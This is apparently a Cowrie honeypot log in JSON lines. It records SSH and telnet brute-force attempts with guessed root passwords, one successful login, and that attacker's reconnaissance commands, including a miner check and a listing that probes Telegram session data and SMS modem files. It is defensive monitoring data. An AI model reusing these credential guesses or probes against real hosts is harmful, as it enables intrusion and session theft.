{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:16.818683Z","src_ip":"109.172.54.111","session":"05bc7c1d7b88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arsenal","message":"login attempt [root/arsenal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:17.124856Z","src_ip":"109.172.54.111","session":"05bc7c1d7b88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:17.132284Z","src_ip":"31.40.204.166","session":"15bb677486de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:18.228528Z","src_ip":"109.172.54.111","session":"05bc7c1d7b88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:18.303024Z","src_ip":"31.40.204.166","session":"15bb677486de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":93.72263836860657,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:24.874056Z","src_ip":"152.42.224.71","session":"1fbe10d1768f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50838,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c381502e785","protocol":"ssh","message":"New connection: 31.40.204.166:50838 (159.203.135.109:22) [session: 1c381502e785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:28.882571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:28.887668Z","src_ip":"31.40.204.166","session":"1c381502e785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:29.018108Z","src_ip":"31.40.204.166","session":"1c381502e785","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:29.492385Z","src_ip":"31.40.204.166","session":"1c381502e785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52630,"dst_ip":"10.17.0.5","dst_port":23,"session":"43734062cd8d","protocol":"telnet","message":"New connection: 152.42.224.71:52630 (10.17.0.5:23) [session: 43734062cd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:29.632086Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:30.628685Z","src_ip":"31.40.204.166","session":"1c381502e785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.110.250.40","src_port":43148,"dst_ip":"159.203.135.109","dst_port":22,"session":"02e068ed750a","protocol":"ssh","message":"New connection: 130.110.250.40:43148 (159.203.135.109:22) [session: 02e068ed750a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:30.947261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:30.964688Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:31.046841Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:31.674686Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:32.768450Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:33.002818Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:33.006333Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:33.009504Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:33.114681Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:33.313278Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:33.317070Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:33.406910Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:33.627686Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:33.631190Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":50528,"dst_ip":"10.17.0.5","dst_port":22,"session":"efd69cc0954a","protocol":"ssh","message":"New connection: 103.15.222.183:50528 (10.17.0.5:22) [session: efd69cc0954a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:33.637101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:33.640971Z","src_ip":"103.15.222.183","session":"efd69cc0954a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:33.719831Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:33.889683Z","src_ip":"103.15.222.183","session":"efd69cc0954a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:33.932019Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:33.935227Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:34.032551Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:34.241460Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:34.244421Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:34.342131Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52646,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ed1415a1042","protocol":"telnet","message":"New connection: 152.42.224.71:52646 (10.17.0.5:23) [session: 4ed1415a1042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:34.378527Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:34.543684Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:34.546657Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1989","message":"login attempt [root/1989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:34.635642Z","src_ip":"103.15.222.183","session":"efd69cc0954a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:34.640188Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:34.858203Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:34.861441Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:34.951989Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:35.170707Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:35.173253Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:35.316867Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:35.543902Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:35.547470Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:35.640492Z","src_ip":"130.110.250.40","session":"02e068ed750a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:35.890552Z","src_ip":"103.15.222.183","session":"efd69cc0954a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42686,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0f71837e2dd","protocol":"telnet","message":"New connection: 152.42.224.71:42686 (10.17.0.5:23) [session: d0f71837e2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:36.689771Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44196,"dst_ip":"10.17.0.5","dst_port":23,"session":"1468f65586ad","protocol":"telnet","message":"New connection: 152.42.224.71:44196 (10.17.0.5:23) [session: 1468f65586ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:36.925604Z"}
{"eventid":"cowrie.session.closed","duration":41.77195739746094,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:38.383613Z","src_ip":"152.42.224.71","session":"c3fdfd555591","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52504,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bc6b6579f54","protocol":"ssh","message":"New connection: 31.40.204.166:52504 (159.203.135.109:22) [session: 9bc6b6579f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:09:40.317274Z"}
